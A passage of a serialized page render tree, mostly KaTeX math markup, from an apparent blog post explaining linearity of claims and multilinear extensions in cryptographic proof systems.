tag":271,"props":118290,"children":118291},{},[],{"type":24,"tag":271,"props":118293,"children":118295},{"className":118294,"style":11811},[11810],[],{"type":24,"tag":271,"props":118297,"children":118299},{"className":118298},[11816],[118300],{"type":29,"value":11791},{"type":24,"tag":271,"props":118302,"children":118304},{"className":118303,"style":11811},[11810],[],{"type":24,"tag":271,"props":118306,"children":118308},{"className":118307},[11721],[118309,118313,118318,118323,118328,118332,118337],{"type":24,"tag":271,"props":118310,"children":118312},{"className":118311,"style":11831},[11726],[],{"type":24,"tag":271,"props":118314,"children":118316},{"className":118315},[11732],[118317],{"type":29,"value":165},{"type":24,"tag":271,"props":118319,"children":118321},{"className":118320},[11732,29273],[118322],{"type":29,"value":32},{"type":24,"tag":271,"props":118324,"children":118326},{"className":118325},[29424],[118327],{"type":29,"value":2693},{"type":24,"tag":271,"props":118329,"children":118331},{"className":118330,"style":11811},[11810],[],{"type":24,"tag":271,"props":118333,"children":118335},{"className":118334},[11816],[118336],{"type":29,"value":118099},{"type":24,"tag":271,"props":118338,"children":118340},{"className":118339,"style":11811},[11810],[],{"type":24,"tag":271,"props":118342,"children":118344},{"className":118343},[11721],[118345,118349,118406,118410,118415],{"type":24,"tag":271,"props":118346,"children":118348},{"className":118347,"style":116807},[11726],[],{"type":24,"tag":271,"props":118350,"children":118352},{"className":118351},[11732],[118353,118358],{"type":24,"tag":271,"props":118354,"children":118356},{"className":118355,"style":99837},[11732,29273],[118357],{"type":29,"value":100656},{"type":24,"tag":271,"props":118359,"children":118361},{"className":118360},[11747],[118362],{"type":24,"tag":271,"props":118363,"children":118365},{"className":118364},[11752,29327],[118366,118395],{"type":24,"tag":271,"props":118367,"children":118369},{"className":118368},[11757],[118370,118390],{"type":24,"tag":271,"props":118371,"children":118373},{"className":118372,"style":100366},[11762],[118374],{"type":24,"tag":271,"props":118375,"children":118376},{"style":116836},[118377,118381],{"type":24,"tag":271,"props":118378,"children":118380},{"className":118379,"style":11772},[11771],[],{"type":24,"tag":271,"props":118382,"children":118384},{"className":118383},[11777,11778,11779,11780],[118385],{"type":24,"tag":271,"props":118386,"children":118388},{"className":118387},[11732,29273,11780],[118389],{"type":29,"value":11462},{"type":24,"tag":271,"props":118391,"children":118393},{"className":118392},[29430],[118394],{"type":29,"value":29433},{"type":24,"tag":271,"props":118396,"children":118398},{"className":118397},[11757],[118399],{"type":24,"tag":271,"props":118400,"children":118402},{"className":118401,"style":99920},[11762],[118403],{"type":24,"tag":271,"props":118404,"children":118405},{},[],{"type":24,"tag":271,"props":118407,"children":118409},{"className":118408,"style":11908},[11810],[],{"type":24,"tag":271,"props":118411,"children":118413},{"className":118412},[11913],[118414],{"type":29,"value":762},{"type":24,"tag":271,"props":118416,"children":118418},{"className":118417,"style":11908},[11810],[],{"type":24,"tag":271,"props":118420,"children":118422},{"className":118421},[11721],[118423,118427,118432,118437,118442,118446,118451],{"type":24,"tag":271,"props":118424,"children":118426},{"className":118425,"style":11831},[11726],[],{"type":24,"tag":271,"props":118428,"children":118430},{"className":118429},[11732,29273],[118431],{"type":29,"value":32},{"type":24,"tag":271,"props":118433,"children":118435},{"className":118434},[29402],[118436],{"type":29,"value":606},{"type":24,"tag":271,"props":118438,"children":118440},{"className":118439},[11732],[118441],{"type":29,"value":156},{"type":24,"tag":271,"props":118443,"children":118445},{"className":118444,"style":11811},[11810],[],{"type":24,"tag":271,"props":118447,"children":118449},{"className":118448},[11816],[118450],{"type":29,"value":11791},{"type":24,"tag":271,"props":118452,"children":118454},{"className":118453,"style":11811},[11810],[],{"type":24,"tag":271,"props":118456,"children":118458},{"className":118457},[11721],[118459,118463,118468,118525,118530,118534,118539],{"type":24,"tag":271,"props":118460,"children":118462},{"className":118461,"style":11831},[11726],[],{"type":24,"tag":271,"props":118464,"children":118466},{"className":118465},[11732],[118467],{"type":29,"value":165},{"type":24,"tag":271,"props":118469,"children":118471},{"className":118470},[11732],[118472,118477],{"type":24,"tag":271,"props":118473,"children":118475},{"className":118474,"style":99837},[11732,29273],[118476],{"type":29,"value":100656},{"type":24,"tag":271,"props":118478,"children":118480},{"className":118479},[11747],[118481],{"type":24,"tag":271,"props":118482,"children":118484},{"className":118483},[11752,29327],[118485,118514],{"type":24,"tag":271,"props":118486,"children":118488},{"className":118487},[11757],[118489,118509],{"type":24,"tag":271,"props":118490,"children":118492},{"className":118491,"style":100366},[11762],[118493],{"type":24,"tag":271,"props":118494,"children":118495},{"style":116836},[118496,118500],{"type":24,"tag":271,"props":118497,"children":118499},{"className":118498,"style":11772},[11771],[],{"type":24,"tag":271,"props":118501,"children":118503},{"className":118502},[11777,11778,11779,11780],[118504],{"type":24,"tag":271,"props":118505,"children":118507},{"className":118506},[11732,29273,11780],[118508],{"type":29,"value":11462},{"type":24,"tag":271,"props":118510,"children":118512},{"className":118511},[29430],[118513],{"type":29,"value":29433},{"type":24,"tag":271,"props":118515,"children":118517},{"className":118516},[11757],[118518],{"type":24,"tag":271,"props":118519,"children":118521},{"className":118520,"style":99920},[11762],[118522],{"type":24,"tag":271,"props":118523,"children":118524},{},[],{"type":24,"tag":271,"props":118526,"children":118528},{"className":118527},[29424],[118529],{"type":29,"value":2693},{"type":24,"tag":271,"props":118531,"children":118533},{"className":118532,"style":11811},[11810],[],{"type":24,"tag":271,"props":118535,"children":118537},{"className":118536},[11816],[118538],{"type":29,"value":1012},{"type":24,"tag":271,"props":118540,"children":118542},{"className":118541,"style":11811},[11810],[],{"type":24,"tag":271,"props":118544,"children":118546},{"className":118545},[11721],[118547,118551,118622,118626,118631],{"type":24,"tag":271,"props":118548,"children":118550},{"className":118549,"style":117237},[11726],[],{"type":24,"tag":271,"props":118552,"children":118554},{"className":118553},[11732],[118555,118560],{"type":24,"tag":271,"props":118556,"children":118558},{"className":118557,"style":100071},[11732,29273],[118559],{"type":29,"value":100074},{"type":24,"tag":271,"props":118561,"children":118563},{"className":118562},[11747],[118564],{"type":24,"tag":271,"props":118565,"children":118567},{"className":118566},[11752,29327],[118568,118611],{"type":24,"tag":271,"props":118569,"children":118571},{"className":118570},[11757],[118572,118606],{"type":24,"tag":271,"props":118573,"children":118575},{"className":118574,"style":100366},[11762],[118576],{"type":24,"tag":271,"props":118577,"children":118578},{"style":117266},[118579,118583],{"type":24,"tag":271,"props":118580,"children":118582},{"className":118581,"style":11772},[11771],[],{"type":24,"tag":271,"props":118584,"children":118586},{"className":118585},[11777,11778,11779,11780],[118587],{"type":24,"tag":271,"props":118588,"children":118590},{"className":118589},[11732,11780],[118591,118596,118601],{"type":24,"tag":271,"props":118592,"children":118594},{"className":118593},[11732,29273,11780],[118595],{"type":29,"value":11462},{"type":24,"tag":271,"props":118597,"children":118599},{"className":118598},[11816,11780],[118600],{"type":29,"value":11791},{"type":24,"tag":271,"props":118602,"children":118604},{"className":118603},[11732,11780],[118605],{"type":29,"value":156},{"type":24,"tag":271,"props":118607,"children":118609},{"className":118608},[29430],[118610],{"type":29,"value":29433},{"type":24,"tag":271,"props":118612,"children":118614},{"className":118613},[11757],[118615],{"type":24,"tag":271,"props":118616,"children":118618},{"className":118617,"style":117307},[11762],[118619],{"type":24,"tag":271,"props":118620,"children":118621},{},[],{"type":24,"tag":271,"props":118623,"children":118625},{"className":118624,"style":11811},[11810],[],{"type":24,"tag":271,"props":118627,"children":118629},{"className":118628},[11816],[118630],{"type":29,"value":118099},{"type":24,"tag":271,"props":118632,"children":118634},{"className":118633,"style":11811},[11810],[],{"type":24,"tag":271,"props":118636,"children":118638},{"className":118637},[11721],[118639,118643],{"type":24,"tag":271,"props":118640,"children":118642},{"className":118641,"style":116807},[11726],[],{"type":24,"tag":271,"props":118644,"children":118646},{"className":118645},[11732],[118647,118652],{"type":24,"tag":271,"props":118648,"children":118650},{"className":118649,"style":99837},[11732,29273],[118651],{"type":29,"value":100656},{"type":24,"tag":271,"props":118653,"children":118655},{"className":118654},[11747],[118656],{"type":24,"tag":271,"props":118657,"children":118659},{"className":118658},[11752,29327],[118660,118689],{"type":24,"tag":271,"props":118661,"children":118663},{"className":118662},[11757],[118664,118684],{"type":24,"tag":271,"props":118665,"children":118667},{"className":118666,"style":100366},[11762],[118668],{"type":24,"tag":271,"props":118669,"children":118670},{"style":116836},[118671,118675],{"type":24,"tag":271,"props":118672,"children":118674},{"className":118673,"style":11772},[11771],[],{"type":24,"tag":271,"props":118676,"children":118678},{"className":118677},[11777,11778,11779,11780],[118679],{"type":24,"tag":271,"props":118680,"children":118682},{"className":118681},[11732,29273,11780],[118683],{"type":29,"value":11462},{"type":24,"tag":271,"props":118685,"children":118687},{"className":118686},[29430],[118688],{"type":29,"value":29433},{"type":24,"tag":271,"props":118690,"children":118692},{"className":118691},[11757],[118693],{"type":24,"tag":271,"props":118694,"children":118696},{"className":118695,"style":99920},[11762],[118697],{"type":24,"tag":271,"props":118698,"children":118699},{},[],{"type":24,"tag":25,"props":118701,"children":118702},{},[118703,118704,118800,118802,118827,118829,118854],{"type":29,"value":53803},{"type":24,"tag":213,"props":118705,"children":118706},{},[118707,118709],{"type":29,"value":118708},"linear in ",{"type":24,"tag":135,"props":118710,"children":118712},{"className":118711},[11705,11706],[118713],{"type":24,"tag":271,"props":118714,"children":118716},{"className":118715},[11711],[118717],{"type":24,"tag":271,"props":118718,"children":118720},{"className":118719,"ariaHidden":5670},[11716],[118721],{"type":24,"tag":271,"props":118722,"children":118724},{"className":118723},[11721],[118725,118729],{"type":24,"tag":271,"props":118726,"children":118728},{"className":118727,"style":117237},[11726],[],{"type":24,"tag":271,"props":118730,"children":118732},{"className":118731},[11732],[118733,118738],{"type":24,"tag":271,"props":118734,"children":118736},{"className":118735,"style":100071},[11732,29273],[118737],{"type":29,"value":100074},{"type":24,"tag":271,"props":118739,"children":118741},{"className":118740},[11747],[118742],{"type":24,"tag":271,"props":118743,"children":118745},{"className":118744},[11752,29327],[118746,118789],{"type":24,"tag":271,"props":118747,"children":118749},{"className":118748},[11757],[118750,118784],{"type":24,"tag":271,"props":118751,"children":118753},{"className":118752,"style":100366},[11762],[118754],{"type":24,"tag":271,"props":118755,"children":118756},{"style":117266},[118757,118761],{"type":24,"tag":271,"props":118758,"children":118760},{"className":118759,"style":11772},[11771],[],{"type":24,"tag":271,"props":118762,"children":118764},{"className":118763},[11777,11778,11779,11780],[118765],{"type":24,"tag":271,"props":118766,"children":118768},{"className":118767},[11732,11780],[118769,118774,118779],{"type":24,"tag":271,"props":118770,"children":118772},{"className":118771},[11732,29273,11780],[118773],{"type":29,"value":11462},{"type":24,"tag":271,"props":118775,"children":118777},{"className":118776},[11816,11780],[118778],{"type":29,"value":11791},{"type":24,"tag":271,"props":118780,"children":118782},{"className":118781},[11732,11780],[118783],{"type":29,"value":156},{"type":24,"tag":271,"props":118785,"children":118787},{"className":118786},[29430],[118788],{"type":29,"value":29433},{"type":24,"tag":271,"props":118790,"children":118792},{"className":118791},[11757],[118793],{"type":24,"tag":271,"props":118794,"children":118796},{"className":118795,"style":117307},[11762],[118797],{"type":24,"tag":271,"props":118798,"children":118799},{},[],{"type":29,"value":118801},"! By induction, the final claim is linear in the original ",{"type":24,"tag":135,"props":118803,"children":118805},{"className":118804},[11705,11706],[118806],{"type":24,"tag":271,"props":118807,"children":118809},{"className":118808},[11711],[118810],{"type":24,"tag":271,"props":118811,"children":118813},{"className":118812,"ariaHidden":5670},[11716],[118814],{"type":24,"tag":271,"props":118815,"children":118817},{"className":118816},[11721],[118818,118822],{"type":24,"tag":271,"props":118819,"children":118821},{"className":118820,"style":29268},[11726],[],{"type":24,"tag":271,"props":118823,"children":118825},{"className":118824,"style":100071},[11732,29273],[118826],{"type":29,"value":100074},{"type":29,"value":118828},". If ",{"type":24,"tag":135,"props":118830,"children":118832},{"className":118831},[11705,11706],[118833],{"type":24,"tag":271,"props":118834,"children":118836},{"className":118835},[11711],[118837],{"type":24,"tag":271,"props":118838,"children":118840},{"className":118839,"ariaHidden":5670},[11716],[118841],{"type":24,"tag":271,"props":118842,"children":118844},{"className":118843},[11721],[118845,118849],{"type":24,"tag":271,"props":118846,"children":118848},{"className":118847,"style":29268},[11726],[],{"type":24,"tag":271,"props":118850,"children":118852},{"className":118851,"style":100071},[11732,29273],[118853],{"type":29,"value":100074},{"type":29,"value":118855}," isn't in the transcript, we can solve for it.",{"type":24,"tag":85,"props":118857,"children":118859},{"id":118858},"multilinear-extensions-mles",[118860],{"type":29,"value":118861},"Multilinear Extensions (MLEs)",{"type":24,"tag":25,"props":118863,"children":118864},{},[118865,118867,118952],{"type":29,"value":118866},"An MLE is just the polynomial view of a table over ",{"type":24,"tag":135,"props":118868,"children":118870},{"className":118869},[11705,11706],[118871],{"type":24,"tag":271,"props":118872,"children":118874},{"className":118873},[11711],[118875],{"type":24,"tag":271,"props":118876,"children":118878},{"className":118877,"ariaHidden":5670},[11716],[118879],{"type":24,"tag":271,"props":118880,"children":118882},{"className":118881},[11721],[118883,118887,118892,118897,118902,118906,118911],{"type":24,"tag":271,"props":118884,"children":118886},{"className":118885,"style":11831},[11726],[],{"type":24,"tag":271,"props":118888,"children":118890},{"className":118889},[29402],[118891],{"type":29,"value":83408},{"type":24,"tag":271,"props":118893,"children":118895},{"className":118894},[11732],[118896],{"type":29,"value":4121},{"type":24,"tag":271,"props":118898,"children":118900},{"className":118899},[11842],[118901],{"type":29,"value":11845},{"type":24,"tag":271,"props":118903,"children":118905},{"className":118904,"style":11849},[11810],[],{"type":24,"tag":271,"props":118907,"children":118909},{"className":118908},[11732],[118910],{"type":29,"value":156},{"type":24,"tag":271,"props":118912,"children":118914},{"className":118913},[29424],[118915,118920],{"type":24,"tag":271,"props":118916,"children":118918},{"className":118917},[29424],[118919],{"type":29,"value":41809},{"type":24,"tag":271,"props":118921,"children":118923},{"className":118922},[11747],[118924],{"type":24,"tag":271,"props":118925,"children":118927},{"className":118926},[11752],[118928],{"type":24,"tag":271,"props":118929,"children":118931},{"className":118930},[11757],[118932],{"type":24,"tag":271,"props":118933,"children":118935},{"className":118934,"style":115554},[11762],[118936],{"type":24,"tag":271,"props":118937,"children":118938},{"style":11766},[118939,118943],{"type":24,"tag":271,"props":118940,"children":118942},{"className":118941,"style":11772},[11771],[],{"type":24,"tag":271,"props":118944,"children":118946},{"className":118945},[11777,11778,11779,11780],[118947],{"type":24,"tag":271,"props":118948,"children":118950},{"className":118949},[11732,29273,11780],[118951],{"type":29,"value":6054},{"type":29,"value":118953},": it matches the table on Boolean points and extends it to field points.",{"type":24,"tag":25,"props":118955,"children":118956},{},[118957],{"type":29,"value":118958},"For this post, the only property you need is:",{"type":24,"tag":25,"props":118960,"children":118961},{},[118962],{"type":24,"tag":135,"props":118963,"children":118965},{"className":118964},[11705,11706],[118966],{"type":24,"tag":271,"props":118967,"children":118969},{"className":118968},[11711],[118970],{"type":24,"tag":271,"props":118971,"children":118973},{"className":118972,"ariaHidden":5670},[11716],[118974,119136,119408],{"type":24,"tag":271,"props":118975,"children":118977},{"className":118976},[11721],[118978,118983,119052,119057,119118,119123,119127,119132],{"type":24,"tag":271,"props":118979,"children":118982},{"className":118980,"style":118981},[11726],"height:1.1813em;vertical-align:-0.25em;",[],{"type":24,"tag":271,"props":118984,"children":118987},{"className":118985},[11732,118986],"accent",[118988],{"type":24,"tag":271,"props":118989,"children":118991},{"className":118990},[11752,29327],[118992,119040],{"type":24,"tag":271,"props":118993,"children":118995},{"className":118994},[11757],[118996,119035],{"type":24,"tag":271,"props":118997,"children":119000},{"className":118998,"style":118999},[11762],"height:0.9313em;",[119001,119015],{"type":24,"tag":271,"props":119002,"children":119004},{"style":119003},"top:-3em;",[119005,119010],{"type":24,"tag":271,"props":119006,"children":119009},{"className":119007,"style":119008},[11771],"height:3em;",[],{"type":24,"tag":271,"props":119011,"children":119013},{"className":119012,"style":102191},[11732,29273],[119014],{"type":29,"value":791},{"type":24,"tag":271,"props":119016,"children":119018},{"style":119017},"top:-3.6134em;",[119019,119023],{"type":24,"tag":271,"props":119020,"children":119022},{"className":119021,"style":119008},[11771],[],{"type":24,"tag":271,"props":119024,"children":119028},{"className":119025,"style":119027},[119026],"accent-body","left:-0.0833em;",[119029],{"type":24,"tag":271,"props":119030,"children":119032},{"className":119031},[11732],[119033],{"type":29,"value":119034},"~",{"type":24,"tag":271,"props":119036,"children":119038},{"className":119037},[29430],[119039],{"type":29,"value":29433},{"type":24,"tag":271,"props":119041,"children":119043},{"className":119042},[11757],[119044],{"type":24,"tag":271,"props":119045,"children":119048},{"className":119046,"style":119047},[11762],"height:0.1944em;",[119049],{"type":24,"tag":271,"props":119050,"children":119051},{},[],{"type":24,"tag":271,"props":119053,"children":119055},{"className":119054},[29402],[119056],{"type":29,"value":606},{"type":24,"tag":271,"props":119058,"children":119060},{"className":119059},[11732,118986],[119061],{"type":24,"tag":271,"props":119062,"children":119064},{"className":119063},[11752],[119065],{"type":24,"tag":271,"props":119066,"children":119068},{"className":119067},[11757],[119069],{"type":24,"tag":271,"props":119070,"children":119073},{"className":119071,"style":119072},[11762],"height:0.714em;",[119074,119086],{"type":24,"tag":271,"props":119075,"children":119076},{"style":119003},[119077,119081],{"type":24,"tag":271,"props":119078,"children":119080},{"className":119079,"style":119008},[11771],[],{"type":24,"tag":271,"props":119082,"children":119084},{"className":119083,"style":99837},[11732,29273],[119085],{"type":29,"value":100656},{"type":24,"tag":271,"props":119087,"children":119088},{"style":119003},[119089,119093],{"type":24,"tag":271,"props":119090,"children":119092},{"className":119091,"style":119008},[11771],[],{"type":24,"tag":271,"props":119094,"children":119097},{"className":119095,"style":119096},[119026],"left:-0.1799em;",[119098],{"type":24,"tag":271,"props":119099,"children":119103},{"className":119100,"style":119102},[119101],"overlay","height:0.714em;width:0.471em;",[119104],{"type":24,"tag":41942,"props":119105,"children":119112},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[119113],{"type":24,"tag":119114,"props":119115,"children":119117},"path",{"d":119116},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":24,"tag":271,"props":119119,"children":119121},{"className":119120},[29424],[119122],{"type":29,"value":2693},{"type":24,"tag":271,"props":119124,"children":119126},{"className":119125,"style":11908},[11810],[],{"type":24,"tag":271,"props":119128,"children":119130},{"className":119129},[11913],[119131],{"type":29,"value":762},{"type":24,"tag":271,"props":119133,"children":119135},{"className":119134,"style":11908},[11810],[],{"type":24,"tag":271,"props":119137,"children":119139},{"className":119138},[11721],[119140,119145,119326,119330,119335,119340,119390,119395,119399,119404],{"type":24,"tag":271,"props":119141,"children":119144},{"className":119142,"style":119143},[11726],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":24,"tag":271,"props":119146,"children":119148},{"className":119147},[29309],[119149,119154],{"type":24,"tag":271,"props":119150,"children":119152},{"className":119151,"style":29316},[29309,29314,29315],[119153],{"type":29,"value":115632},{"type":24,"tag":271,"props":119155,"children":119157},{"className":119156},[11747],[119158],{"type":24,"tag":271,"props":119159,"children":119161},{"className":119160},[11752,29327],[119162,119314],{"type":24,"tag":271,"props":119163,"children":119165},{"className":119164},[11757],[119166,119309],{"type":24,"tag":271,"props":119167,"children":119170},{"className":119168,"style":119169},[11762],"height:0.3448em;",[119171],{"type":24,"tag":271,"props":119172,"children":119174},{"style":119173},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[119175,119179],{"type":24,"tag":271,"props":119176,"children":119178},{"className":119177,"style":11772},[11771],[],{"type":24,"tag":271,"props":119180,"children":119182},{"className":119181},[11777,11778,11779,11780],[119183],{"type":24,"tag":271,"props":119184,"children":119186},{"className":119185},[11732,11780],[119187,119241,119246,119251,119256,119261,119266],{"type":24,"tag":271,"props":119188,"children":119190},{"className":119189},[11732,118986,11780],[119191],{"type":24,"tag":271,"props":119192,"children":119194},{"className":119193},[11752],[119195],{"type":24,"tag":271,"props":119196,"children":119198},{"className":119197},[11757],[119199],{"type":24,"tag":271,"props":119200,"children":119203},{"className":119201,"style":119202},[11762],"height:0.9774em;",[119204,119218],{"type":24,"tag":271,"props":119205,"children":119207},{"style":119206},"top:-2.714em;",[119208,119213],{"type":24,"tag":271,"props":119209,"children":119212},{"className":119210,"style":119211},[11771],"height:2.714em;",[],{"type":24,"tag":271,"props":119214,"children":119216},{"className":119215},[11732,29273,11780],[119217],{"type":29,"value":10954},{"type":24,"tag":271,"props":119219,"children":119221},{"style":119220},"top:-2.9774em;",[119222,119226],{"type":24,"tag":271,"props":119223,"children":119225},{"className":119224,"style":119211},[11771],[],{"type":24,"tag":271,"props":119227,"children":119230},{"className":119228,"style":119229},[119026],"left:-0.2355em;",[119231],{"type":24,"tag":271,"props":119232,"children":119234},{"className":119233,"style":119102},[119101,11780],[119235],{"type":24,"tag":41942,"props":119236,"children":119237},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},[119238],{"type":24,"tag":119114,"props":119239,"children":119240},{"d":119116},[],{"type":24,"tag":271,"props":119242,"children":119244},{"className":119243},[11913,11780],[119245],{"type":29,"value":29380},{"type":24,"tag":271,"props":119247,"children":119249},{"className":119248},[29402,11780],[119250],{"type":29,"value":83408},{"type":24,"tag":271,"props":119252,"children":119254},{"className":119253},[11732,11780],[119255],{"type":29,"value":4121},{"type":24,"tag":271,"props":119257,"children":119259},{"className":119258},[11842,11780],[119260],{"type":29,"value":11845},{"type":24,"tag":271,"props":119262,"children":119264},{"className":119263},[11732,11780],[119265],{"type":29,"value":156},{"type":24,"tag":271,"props":119267,"children":119269},{"className":119268},[29424,11780],[119270,119275],{"type":24,"tag":271,"props":119271,"children":119273},{"className":119272},[29424,11780],[119274],{"type":29,"value":41809},{"type":24,"tag":271,"props":119276,"children":119278},{"className":119277},[11747],[119279],{"type":24,"tag":271,"props":119280,"children":119282},{"className":119281},[11752],[119283],{"type":24,"tag":271,"props":119284,"children":119286},{"className":119285},[11757],[119287],{"type":24,"tag":271,"props":119288,"children":119291},{"className":119289,"style":119290},[11762],"height:0.5935em;",[119292],{"type":24,"tag":271,"props":119293,"children":119295},{"style":119294},"top:-2.786em;margin-right:0.0714em;",[119296,119300],{"type":24,"tag":271,"props":119297,"children":119299},{"className":119298,"style":115697},[11771],[],{"type":24,"tag":271,"props":119301,"children":119303},{"className":119302},[11777,115702,115703,11780],[119304],{"type":24,"tag":271,"props":119305,"children":119307},{"className":119306},[11732,29273,11780],[119308],{"type":29,"value":6054},{"type":24,"tag":271,"props":119310,"children":119312},{"className":119311},[29430],[119313],{"type":29,"value":29433},{"type":24,"tag":271,"props":119315,"children":119317},{"className":119316},[11757],[119318],{"type":24,"tag":271,"props":119319,"children":119322},{"className":119320,"style":119321},[11762],"height:0.5144em;",[119323],{"type":24,"tag":271,"props":119324,"children":119325},{},[],{"type":24,"tag":271,"props":119327,"children":119329},{"className":119328,"style":11849},[11810],[],{"type":24,"tag":271,"props":119331,"children":119333},{"className":119332,"style":102191},[11732,29273],[119334],{"type":29,"value":791},{"type":24,"tag":271,"props":119336,"children":119338},{"className":119337},[29402],[119339],{"type":29,"value":606},{"type":24,"tag":271,"props":119341,"children":119343},{"className":119342},[11732,118986],[119344],{"type":24,"tag":271,"props":119345,"children":119347},{"className":119346},[11752],[119348],{"type":24,"tag":271,"props":119349,"children":119351},{"className":119350},[11757],[119352],{"type":24,"tag":271,"props":119353,"children":119355},{"className":119354,"style":119202},[11762],[119356,119368],{"type":24,"tag":271,"props":119357,"children":119358},{"style":119003},[119359,119363],{"type":24,"tag":271,"props":119360,"children":119362},{"className":119361,"style":119008},[11771],[],{"type":24,"tag":271,"props":119364,"children":119366},{"className":119365},[11732,29273],[119367],{"type":29,"value":10954},{"type":24,"tag":271,"props":119369,"children":119371},{"style":119370},"top:-3.2634em;",[119372,119376],{"type":24,"tag":271,"props":119373,"children":119375},{"className":119374,"style":119008},[11771],[],{"type":24,"tag":271,"props":119377,"children":119379},{"className":119378,"style":119229},[119026],[119380],{"type":24,"tag":271,"props":119381,"children":119383},{"className":119382,"style":119102},[119101],[119384],{"type":24,"tag":41942,"props":119385,"children":119386},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},[119387],{"type":24,"tag":119114,"props":119388,"children":119389},{"d":119116},[],{"type":24,"tag":271,"props":119391,"children":119393},{"className":119392},[29424],[119394],{"type":29,"value":2693},{"type":24,"tag":271,"props":119396,"children":119398},{"className":119397,"style":11811},[11810],[],{"type":24,"tag":271,"props":119400,"children":119402},{"className":119401},[11816],[119403],{"type":29,"value":118099},{"type":24,"tag":271,"props":119405,"children":119407},{"className":119406,"style":11811},[11810],[],{"type":24,"tag":271,"props":119409,"children":119411},{"className":119410},[11721],[119412,119417,119427,119432,119481,119486,119490,119539],{"type":24,"tag":271,"props":119413,"children":119416},{"className":119414,"style":119415},[11726],"height:1.2274em;vertical-align:-0.25em;",[],{"type":24,"tag":271,"props":119418,"children":119420},{"className":119419},[11732,29],[119421],{"type":24,"tag":271,"props":119422,"children":119424},{"className":119423},[11732],[119425],{"type":29,"value":119426},"eq",{"type":24,"tag":271,"props":119428,"children":119430},{"className":119429},[29402],[119431],{"type":29,"value":606},{"type":24,"tag":271,"props":119433,"children":119435},{"className":119434},[11732,118986],[119436],{"type":24,"tag":271,"props":119437,"children":119439},{"className":119438},[11752],[119440],{"type":24,"tag":271,"props":119441,"children":119443},{"className":119442},[11757],[119444],{"type":24,"tag":271,"props":119445,"children":119447},{"className":119446,"style":119202},[11762],[119448,119460],{"type":24,"tag":271,"props":119449,"children":119450},{"style":119003},[119451,119455],{"type":24,"tag":271,"props":119452,"children":119454},{"className":119453,"style":119008},[11771],[],{"type":24,"tag":271,"props":119456,"children":119458},{"className":119457},[11732,29273],[119459],{"type":29,"value":10954},{"type":24,"tag":271,"props":119461,"children":119462},{"style":119370},[119463,119467],{"type":24,"tag":271,"props":119464,"children":119466},{"className":119465,"style":119008},[11771],[],{"type":24,"tag":271,"props":119468,"children":119470},{"className":119469,"style":119229},[119026],[119471],{"type":24,"tag":271,"props":119472,"children":119474},{"className":119473,"style":119102},[119101],[119475],{"type":24,"tag":41942,"props":119476,"children":119477},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},[119478],{"type":24,"tag":119114,"props":119479,"children":119480},{"d":119116},[],{"type":24,"tag":271,"props":119482,"children":119484},{"className":119483},[11842],[119485],{"type":29,"value":11845},{"type":24,"tag":271,"props":119487,"children":119489},{"className":119488,"style":11849},[11810],[],{"type":24,"tag":271,"props":119491,"children":119493},{"className":119492},[11732,118986],[119494],{"type":24,"tag":271,"props":119495,"children":119497},{"className":119496},[11752],[119498],{"type":24,"tag":271,"props":119499,"children":119501},{"className":119500},[11757],[119502],{"type":24,"tag":271,"props":119503,"children":119505},{"className":119504,"style":119072},[11762],[119506,119518],{"type":24,"tag":271,"props":119507,"children":119508},{"style":119003},[119509,119513],{"type":24,"tag":271,"props":119510,"children":119512},{"className":119511,"style":119008},[11771],[],{"type":24,"tag":271,"props":119514,"children":119516},{"className":119515,"style":99837},[11732,29273],[119517],{"type":29,"value":100656},{"type":24,"tag":271,"props":119519,"children":119520},{"style":119003},[119521,119525],{"type":24,"tag":271,"props":119522,"children":119524},{"className":119523,"style":119008},[11771],[],{"type":24,"tag":271,"props":119526,"children":119528},{"className":119527,"style":119096},[119026],[119529],{"type":24,"tag":271,"props":119530,"children":119532},{"className":119531,"style":119102},[119101],[119533],{"type":24,"tag":41942,"props":119534,"children":119535},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},[119536],{"type":24,"tag":119114,"props":119537,"children":119538},{"d":119116},[],{"type":24,"tag":271,"props":119540,"children":119542},{"className":119541},[29424],[119543],{"type":29,"value":2693},{"type":24,"tag":25,"props":119545,"children":119546},{},[119547,119549,119618,119620,119766,119768,119907,119909,119993],{"type":29,"value":119548},"At a fixed challenge point ",{"type":24,"tag":135,"props":119550,"children":119552},{"className":119551},[11705,11706],[119553],{"type":24,"tag":271,"props":119554,"children":119556},{"className":119555},[11711],[119557],{"type":24,"tag":271,"props":119558,"children":119560},{"className":119559,"ariaHidden":5670},[11716],[119561],{"type":24,"tag":271,"props":119562,"children":119564},{"className":119563},[11721],[119565,119569],{"type":24,"tag":271,"props":119566,"children":119568},{"className":119567,"style":119072},[11726],[],{"type":24,"tag":271,"props":119570,"children":119572},{"className":119571},[11732,118986],[119573],{"type":24,"tag":271,"props":119574,"children":119576},{"className":119575},[11752],[119577],{"type":24,"tag":271,"props":119578,"children":119580},{"className":119579},[11757],[119581],{"type":24,"tag":271,"props":119582,"children":119584},{"className":119583,"style":119072},[11762],[119585,119597],{"type":24,"tag":271,"props":119586,"children":119587},{"style":119003},[119588,119592],{"type":24,"tag":271,"props":119589,"children":119591},{"className":119590,"style":119008},[11771],[],{"type":24,"tag":271,"props":119593,"children":119595},{"className":119594,"style":99837},[11732,29273],[119596],{"type":29,"value":100656},{"type":24,"tag":271,"props":119598,"children":119599},{"style":119003}